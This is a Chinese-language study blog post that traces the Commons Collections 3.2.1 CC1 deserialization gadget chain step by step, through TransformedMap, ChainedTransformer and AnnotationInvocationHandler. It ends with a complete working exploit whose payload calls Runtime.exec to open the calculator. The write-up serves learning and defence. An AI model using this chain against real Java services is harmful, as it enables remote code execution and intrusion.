CC1-TransformedMap

发布时间 2023-08-08 23:16:29作者: sketch_pl4ne

参考链接

https://y0n3er.github.io/undefined/45527.html
https://www.lengf233.top/2023/03/19/ru-he-shou-xie-yi-tiao-cc1-lian/
https://drun1baby.top/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/

环境搭建

image.png
解压里边的src.zip,然后把openjdk里的sun文件夹复制过来
image.png
创建maven空项目,选择jdk_8u65
image.png
在project structure里,把src源码的路径添加进去
image.png
添加CC漏洞版本的maven依赖,注意调试没有源码d就download resources一下

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

image.png
到此为止,环境配置完成,尝试导入CC包,看看是否配置成功

import org.apache.commons.collections.functors.InvokerTransformer;

攻击链分析

思路是从命令执行的地方一直往前找,找调用了同名函数的函数,直到找到readObject()为止。

  1. InvokerTransformer.transform()可以命令执行
  2. TransformedMap.checkSetValue()调用了xxx.transform()
  3. AbstractInputCheckedMapDecorator.setValue()调用了TransformedMap.checkSetValue()
  4. AnnotationInvocationHandler.readObject()调用了Map.setValue(),上个类又是Map的实现类

image.png

EXP编写

这是笔者跟的第一条链子,跟完之后仍然懵懵懂懂,在此,在我的理解范围内,在尽量详实地记下我的分析过程。

InvokerTransformer.transform()

首先在InvokerTransformer.transform()中,存在任意方法反射调用:
image.png
这几个参数通过构造函数都是可控的:
image.png
尝试弹计算器,确定是可以执行命令的:

public class TestCC1  {
    public static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime();
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}).transform(runtime);
    }

}

image.png

TransformedMap.checkSetvalue()

接下来,开始找什么地方调用了transform(Object object),在transform()上右键,点击find usages
一般来说找带Map的好一些(?),听组长说,这个比较适合到时候找到入口类
image.png
发现这里的checkSetValue()调用了transform(),看看能不能利用:
image.png
valueTransformer是什么,可不可以控制?发现通过构造函数好像可以控制:
image.png
它构造函数是protected类型,我们不能直接创建实例:
image.png
于是再找其他函数,发现decorate()会返回一个构造好的实例:
image.png
尝试利用decorate()构造链条,EXP如下,注意,checkSetValue()是protected的,要反射调用该函数!

public class TestCC1  {
    public static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer =  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"});
        HashMap<Object,Object> hashMap = new HashMap<>();
        TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap,null,invokerTransformer);

        Class<TransformedMap> transformedMapClass = TransformedMap.class;
        Method checkSetValue = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
        //protected方法
        checkSetValue.setAccessible(true);
        checkSetValue.invoke(transformedMap,runtime);
    }

}

image.png

AbstractInputCheckedMapDecorator.setValue()

接下来发现找不到有用的、调用decorate()的函数,于是试着找调用了checkSetValue()的函数,同样方法:
image.png
AbstractInputCheckedMapDecorator是TransformedMap的父类,它这setValue()里会调用checkSetValue()
image.png
父类AbstractInputCheckedMapDecorator有这个setValue()方法,子类TranformedMap自然也继承了,
于是想办法怎么在transformMap这个Map里调setValue(),跟一下setValue()函数:
image.png
image.png
image.png
一路跟上去发现是Map的一个给entry赋值的函数,那么我们尝试给构造的transformedMap里的value赋值,
赋值runtime,进一步构造利用链,看看能不能弹计算器:

public class TestCC1  {
    public static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer =  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"});
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("key","value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
        for(Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(runtime);
        }
}

image.png

这里的for循环注意理解,涉及JavaSE的基础知识:
image.png

AnnotationInvocationHandler.readObject()

最后是找到这个入口类,它满足下面几个条件:

  • 可序列化
  • 重写readObject()
  • 调用了setValue()

image.png
这个类它不是public的,是default的,需要用反射获取对象。
链条到这就完整了,下面可以试着编写Exp

理想情况EXP

public class TestCC1  {
    public static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer =  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"});
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("key","value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
        Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class,Map.class);
        aihConstructor.setAccessible(true);
        Object o = aihConstructor.newInstance(Target.class,transformedMap);
        serialize(o);
        unserialize();
}

然而并没有利用成功,因为还有几个未解决的问题。
image.png

解决问题

Runtime对象不能序列化

Runtime类没有实现Serializable接口,故不能序列化:
image.png
但是Runtime.class对象是可以序列化的:
image.png
我们可以利用反射,不传runtime进去,选择传Runtime.class进去,通过反射照样能得到runtime

Class runtimeClass = Runtime.class;
Method getRuntime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(runtimeClass);
Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}).transform(getRuntime);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}).transform(runtime);

这里如果我们直接用这个, 要调用3次.transform()函数,意味着链子要多执行三轮,有更简单的方法:
image.png
通过这个现成的ChainedTransformer类,只需要触发一次chainedTransformer.transform()就好了
注意:
ChainedTransformer[0].transform()的返回值,会作为ChainedTransformer[1].transform()的参数。
下面进一步编写Exp:

Transformer[] transformers =  new Transformer[]{
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);

小疑问

这里我一直不明白,这里就算换Runtime.class,在链条里应该也新建了Runtime对象,不会影响序列化吗?
我的理解是只要序列化的时候没有出现Runtime的对象就好,实际Runtime对象并没有参与序列化与反序列化。
希望师傅们指点一下:)

绕过两个if语句进到setValue()

这里简单看下这个类的代码,看看怎么绕
构造函数传一个注解的类型叫type、一个Map叫memberValues,然后赋值到属性
image.png
下面是需要绕过的主要逻辑:
image.png

  • memberTypes:@Target注解的<每个成员名,成员类型>组成的键值对集合
  • memberType:根据name查找memberTypes,返回对应name的成员所属的类型,没有则返回null
  • memberValues:传进来的hashmap
  • memberValue:传进来的hashmap的entry对象 "1111"->"2222"
  • name:hashmap的key名,"1111"
  • value:hashmap的键值对对象的值,"2222"

这段代码的逻辑:遍历传进来的hashmap,第一个if检查每一个key是不是注解里定义的成员的名字,是就通过;第二个if判断如果value不是memberType/ExceptionProxy的实例,就通过。
于是我们修改传进来的hashmap,把key改成某个注解里存在的成员的名字(例如"value"),value随便就好
image.png
进一步完善Exp:

Transformer[] transformers =  new Transformer[]{
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("value","Jasper");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class,Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize();

setValue()不能传runtime对象

还是上面那个逻辑,我们发现setValue()传入的对象我们是不可控的:
image.png
这里用到的是一个比较巧妙的ConstantTransformer类,ConstantTransformer.transform()返回一个恒定的值
image.png
而这个iConstant是能在构造函数里控制的:image.png

那么问题就解决了,这里我看师傅们的文章都没仔细说,我思考了挺久才明白怎么回事:
我们在chainedTransformer数组的开头加上ConstantTransformer的对象,并且传入Runtime.class
这样一来不管ConstantTransformer.transform(xxx)传什么对象,都会返回一个Runtime.class对象
联系之前使用的辅助类ChainedTransformer.transform()的特性:
image.png
进一步完善Exp,重点关注transformers[]的第一个元素ConstantTransformer:

Transformer[] transformers =  new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);

//其他略...

经过这样设置,我们在序列化、反序列化之后,会依次进行以下调用:

  1. AnnotationInvocationHandler.readObject()
  2. transformedMap.entry.setValue(new balabala)
  3. transformedMap.checkSetValue(new balabala)
  4. chainedTransformer.transform(new balabala)
    1. runtimeClass = ConstantTransformer.transform(new balabala) //控制参数
    2. getRuntime = new InvokerTransformer(...).transform(runtimeClass)
    3. rumtime = new InvokerTransformer(...).transform(getRuntime)
    4. new InvokerTransformer(...).transform(runtime)

最终EXP

public class TestCC1  {
    public static void main(String[] args) throws Exception{
//        Class runtimeClass = Runtime.class;
//        Method getRuntime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(runtimeClass);
//        Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}).transform(getRuntime);
//        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}).transform(runtime);

        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("value","Jasper");
        Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
        Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class,Map.class);
        aihConstructor.setAccessible(true);
        Object o = aihConstructor.newInstance(Target.class,transformedMap);
        serialize(o);
        unserialize();
    }


    public static void serialize(Object o) throws Exception{
        FileOutputStream fos = new FileOutputStream("object.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);

        System.out.println("序列化完成...");
    }

    public static Object unserialize() throws Exception{
        FileInputStream fis = new FileInputStream("object.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //反序列化执行readObject()方法
        Object o =  ois.readObject();
        ois.close();
        fis.close();

        System.out.println("反序列化完成...");
        return o;
    }
}

小结

通过这次跟链子,确实对Java反射、Java反序列化以及一些Idea调试方法有了更深的认识,继续加油吧!